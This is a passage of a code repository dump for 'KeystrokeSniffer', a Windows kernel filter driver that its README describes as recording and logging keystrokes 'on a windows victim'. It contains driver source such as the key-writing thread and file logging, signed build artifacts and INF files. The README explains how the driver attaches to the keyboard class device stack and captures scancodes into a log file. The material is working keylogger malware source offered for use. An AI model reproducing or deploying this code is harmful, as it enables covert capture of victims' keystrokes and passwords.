| }; 24 | 25 | 26 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/new.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | void* __cdecl operator new(size_t size, POOL_TYPE pool_type, ULONG tag) 5 | { 6 | auto address = ::ExAllocatePoolWithTag( 7 | pool_type, 8 | size, 9 | tag 10 | ); 11 | 12 | return address; 13 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/new.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | void* __cdecl operator new(size_t size, POOL_TYPE pool_type, ULONG tag = 0); -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/objreference.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | 5 | FileRef::FileRef(PFILE_OBJECT FileObject) 6 | { 7 | this->_file = FileObject; 8 | } 9 | 10 | FileRef::~FileRef() 11 | { 12 | ObDereferenceObject(this->_file); 13 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/objreference.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | struct FileRef { 5 | FileRef(PFILE_OBJECT FileObject); 6 | ~FileRef(); 7 | 8 | private: 9 | PFILE_OBJECT _file; 10 | }; -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/spinlock.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | 4 | void SpinLock::Init() { 5 | KeInitializeSpinLock(&_spinlock); 6 | } 7 | 8 | void SpinLock::Lock() { 9 | KeAcquireSpinLock(&_spinlock, &_irql); 10 | } 11 | 12 | void SpinLock::Unlock() { 13 | KeReleaseSpinLock(&_spinlock, _irql); 14 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/spinlock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | class SpinLock { 6 | public: 7 | void Init(); 8 | 9 | void Lock(); 10 | void Unlock(); 11 | 12 | private: 13 | KSPIN_LOCK _spinlock; 14 | KIRQL _irql; 15 | }; -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/writer.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | EX_RUNDOWN_REF WriterRef; 4 | 5 | void WriterWait(LONG milliseconds) 6 | { 7 | INT64 interval = milliseconds * -10000i64; 8 | KeDelayExecutionThread(KernelMode, FALSE, (PLARGE_INTEGER)&interval); 9 | } 10 | 11 | 12 | NTSTATUS WriteKeys(PUCHAR data, ULONG dataSize) { 13 | UNICODE_STRING filePath; 14 | RtlInitUnicodeString(&filePath, LOG_FILE); 15 | NTSTATUS status; 16 | OBJECT_ATTRIBUTES objectAttributes; 17 | HANDLE fileHandle; 18 | IO_STATUS_BLOCK ioStatus; 19 | 20 | InitializeObjectAttributes(&objectAttributes, 21 | &filePath, 22 | OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 23 | NULL, 24 | NULL); 25 | 26 | status = ZwOpenFile(&fileHandle, 27 | FILE_APPEND_DATA | SYNCHRONIZE, 28 | &objectAttributes, 29 | &ioStatus, 30 | FILE_SHARE_WRITE, 31 | FILE_SYNCHRONOUS_IO_NONALERT); 32 | 33 | if (!NT_SUCCESS(status)) { 34 | // file does not exist yet , create it 35 | if (status == STATUS_OBJECT_NAME_NOT_FOUND) { 36 | ULONG createDisposition = FILE_OPEN_IF; 37 | ULONG fileAttributes = FILE_ATTRIBUTE_NORMAL; 38 | 39 | status = ZwCreateFile(&fileHandle, 40 | FILE_APPEND_DATA | SYNCHRONIZE, 41 | &objectAttributes, 42 | &ioStatus, 43 | NULL, 44 | fileAttributes, 45 | 0, 46 | createDisposition, 47 | 0, 48 | NULL, 49 | 0); 50 | } 51 | 52 | if (!NT_SUCCESS(status)) { 53 | return status; 54 | } 55 | } 56 | 57 | status = ZwWriteFile(fileHandle, 58 | NULL, 59 | NULL, 60 | NULL, 61 | &ioStatus, 62 | data, 63 | dataSize, 64 | NULL, 65 | NULL); 66 | 67 | 68 | ZwClose(fileHandle); 69 | 70 | return status; 71 | } 72 | 73 | 74 | void Writer(PVOID StartContext) 75 | { 76 | 77 | ExAcquireRundownProtection(&WriterRef); 78 | NTSTATUS status; 79 | while (!Unload) 80 | { 81 | if (WriteSignal) 82 | { 83 | DbgPrint("[*] writing recorded keys\n"); 84 | Recording.Write(); 85 | WriteSignal = false; 86 | } 87 | WriterWait(2000); 88 | } 89 | ExReleaseRundownProtection(&WriterRef); 90 | PsTerminateSystemThread(STATUS_SUCCESS); 91 | } -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/writer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | extern EX_RUNDOWN_REF WriterRef; 6 | extern bool Unload; 7 | 8 | void Writer(PVOID StartContext); 9 | NTSTATUS WriteKeys(PUCHAR data, ULONG dataSize); -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/KeystrokeSniffer.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; KeystrokeSniffer.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 02/11/2024,19.59.54.904 11 | CatalogFile=KeystrokeSniffer.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NTamd64] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="KeystrokeSniffer Source Disk" 34 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/KeystrokeSniffer.log: -------------------------------------------------------------------------------- 1 |  Building 'KeystrokeSniffer' with toolset 'WindowsKernelModeDriver10.0' and the 'Desktop' target platform. 2 | Stamping x64\Release\KeystrokeSniffer.inf 3 | Stamping [Version] section with DriverVer=02/11/2024,19.59.54.904 4 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\KeystrokeSniffer.inf(28-28): warning 2083: Section [standard.ntamd64] not referenced or used. 5 | attach.cpp 6 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\attach.cpp(80,34): warning C4459: declaration of 'FilterDevice' hides global declaration 7 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\attach.cpp(3,16): message : see declaration of 'FilterDevice' 8 | filter.cpp 9 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\filter.cpp(16,24): warning C4244: 'initializing': conversion from 'ULONG_PTR' to 'int', possible loss of data 10 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\filter.cpp(7,76): warning C4100: 'Context': unreferenced formal parameter 11 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\filter.cpp(7,46): warning C4100: 'DeviceObject': unreferenced formal parameter 12 | kbd.cpp 13 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(86,56): warning C4267: '=': conversion from 'size_t' to 'int', possible loss of data 14 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(116,67): warning C4267: '=': conversion from 'size_t' to 'int', possible loss of data 15 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(122,67): warning C4267: '=': conversion from 'size_t' to 'int', possible loss of data 16 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(47,14): warning C4189: 'Status': local variable is initialized but not referenced 17 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(51,12): warning C4189: 'LengthReturned': local variable is initialized but not referenced 18 | log.cpp 19 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\log.cpp(77,26): warning C4996: 'ExAllocatePoolWithTag': ExAllocatePoolWithTag is deprecated, use ExAllocatePool2. 20 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\log.cpp(58,11): warning C4101: 'status': unreferenced local variable 21 | main.cpp 22 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\main.cpp(8,22): warning C4100: 'DriverObject': unreferenced formal parameter 23 | new.cpp 24 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\new.cpp(6,19): warning C4996: 'ExAllocatePoolWithTag': ExAllocatePoolWithTag is deprecated, use ExAllocatePool2. 25 | objreference.cpp 26 | spinlock.cpp 27 | writer.cpp 28 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\writer.cpp(74,19): warning C4100: 'StartContext': unreferenced formal parameter 29 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\writer.cpp(78,11): warning C4101: 'status': unreferenced local variable 30 | Generating Code... 31 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(127): warning C4702: unreachable code 32 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(129): warning C4702: unreachable code 33 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(133): warning C4702: unreachable code 34 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(139): warning C4702: unreachable code 35 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(142): warning C4702: unreachable code 36 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(147): warning C4702: unreachable code 37 | C:\Users\dorge\source\repos\KeystrokeSniffer\KeystrokeSniffer\kbd.cpp(151): warning C4702: unreachable code 38 | KeystrokeSniffer.vcxproj -> C:\Users\dorge\source\repos\KeystrokeSniffer\x64\Release\KeystrokeSniffer.sys 39 | Done Adding Additional Store 40 | Successfully signed: C:\Users\dorge\source\repos\KeystrokeSniffer\x64\Release\KeystrokeSniffer.sys 41 | 42 | ......................... 43 | Signability test complete. 44 | 45 | Errors: 46 | None 47 | 48 | Warnings: 49 | None 50 | 51 | Catalog generation complete. 52 | C:\Users\dorge\source\repos\KeystrokeSniffer\x64\Release\KeystrokeSniffer\keystrokesniffer.cat 53 | Done Adding Additional Store 54 | Successfully signed: C:\Users\dorge\source\repos\KeystrokeSniffer\x64\Release\KeystrokeSniffer\keystrokesniffer.cat 55 | 56 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/KeystrokeSniffer.sys.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | C:\Users\dorge\source\repos\KeystrokeSniffer\x64\Release\KeystrokeSniffer.sys 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/attach.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/attach.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/delete.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/delete.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/filter.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/filter.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/kbd.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/kbd.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/log.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/log.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/main.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/main.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/mutex.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/mutex.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/new.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/new.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/objreference.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/objreference.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/spinlock.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/spinlock.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/vc143.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/vc143.pdb -------------------------------------------------------------------------------- /KeystrokeSniffer/KeystrokeSniffer/x64/Release/writer.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/KeystrokeSniffer/x64/Release/writer.obj -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/x64/Release/KeystrokeSniffer.cer -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; KeystrokeSniffer.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 02/11/2024,19.59.54.904 11 | CatalogFile=KeystrokeSniffer.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NTamd64] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="KeystrokeSniffer Source Disk" 34 | -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/x64/Release/KeystrokeSniffer.pdb -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/x64/Release/KeystrokeSniffer.sys -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer/KeystrokeSniffer.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; KeystrokeSniffer.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 02/11/2024,19.59.54.904 11 | CatalogFile=KeystrokeSniffer.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NTamd64] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="KeystrokeSniffer Source Disk" 34 | -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer/KeystrokeSniffer.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/x64/Release/KeystrokeSniffer/KeystrokeSniffer.sys -------------------------------------------------------------------------------- /KeystrokeSniffer/x64/Release/KeystrokeSniffer/keystrokesniffer.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/KeystrokeSniffer/317503e2ea70924ee176ad3be604a4022fef4101/KeystrokeSniffer/x64/Release/KeystrokeSniffer/keystrokesniffer.cat -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Windy Bug 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KeystrokeSniffer 2 | KeystrokeSniffer is a filter driver that allows you to record and log keystrokes on a windows victim 3 | 4 | Tested on Windows 10 21H2 and 22H2 5 | 6 | # Usage: 7 | under 'log.h' you can configure the path to the log file where KeystrokeSniffer will write recorded keystrokes 8 | 9 | # Keystroke processing for PS/2 keyboards 10 | whenever a key is pressed or released , an interrupt (IRQ1) is generated and handled by an ISR implemented in the i8042prt.sys driver. 11 | the ISR is responsible to read the scancode and queue a DPC which in turn will invoke the KeyboardClassServiceCallback, implemented by the KeyboardClass driver. 12 | simultaneously , the raw input thread (hosted by csrss.exe and implemented as part of win32k.sys) routinely sends read IRPs to the KeyboardClass driver , those IRPs are pended . 13 | the service callback , which is invoked as a response to a key press or release , is responsible to trigger the completion processing of the pending IRP. 14 | the KeyboardClass driver completion routine for IRP_MJ_READ will deliver the data (over an apc) back to the RIT which will in turn deliver it to the target user mode application 15 | # Keystroke processing for HID keyboards 16 | whilst the RIT - KeyboardClass processing stage remains pretty much the same , there's a noteable difference in the implementation of the initial processing of the keystroke 17 | instead of delivering an interrupt whenever there's a new keyboard event to process, the operating system (specifically HID related driver) checks periodcally for those events 18 | the kbhid.sys driver queues read IRPs to the HidClass driver , which operates against the hardware to detect new keyboard events and transmists "HID packets" back up the device stack 19 | kbhid.sys , along with HidParse will convert those HID packets into an array of KEYBOARD_INPUT_DATA structures. lastly , it will invoke the keyboard service callback 20 | 21 | # Keylogger design - how it works 22 | we start by creating a device object and attaching it to the KeyboardClass0 device stack 23 | 24 | we set a completion routine for IRP_MJ_READ , where the scancode and flags about the event are extracted from the KEYBOARD_INPUT_DATA structures and saved into a global linked list 25 | 26 | due to IRQL restrictions , synchronization of the list is implemented via a spin lock. 27 | 28 | a dedicated system thread is created to take care of writing recorded keystrokes back to our log file 29 | 30 | whenever the number of keys in the list reaches a certian limit (currently set to 100) the writer thread is signaled and executes the write operation 31 | 32 | unload triggers a write operation regardless of the number of keys in the list , so we dont "lose" recorded keys 33 | 34 | 35 | 36 | 37 | 38 | --------------------------------------------------------------------------------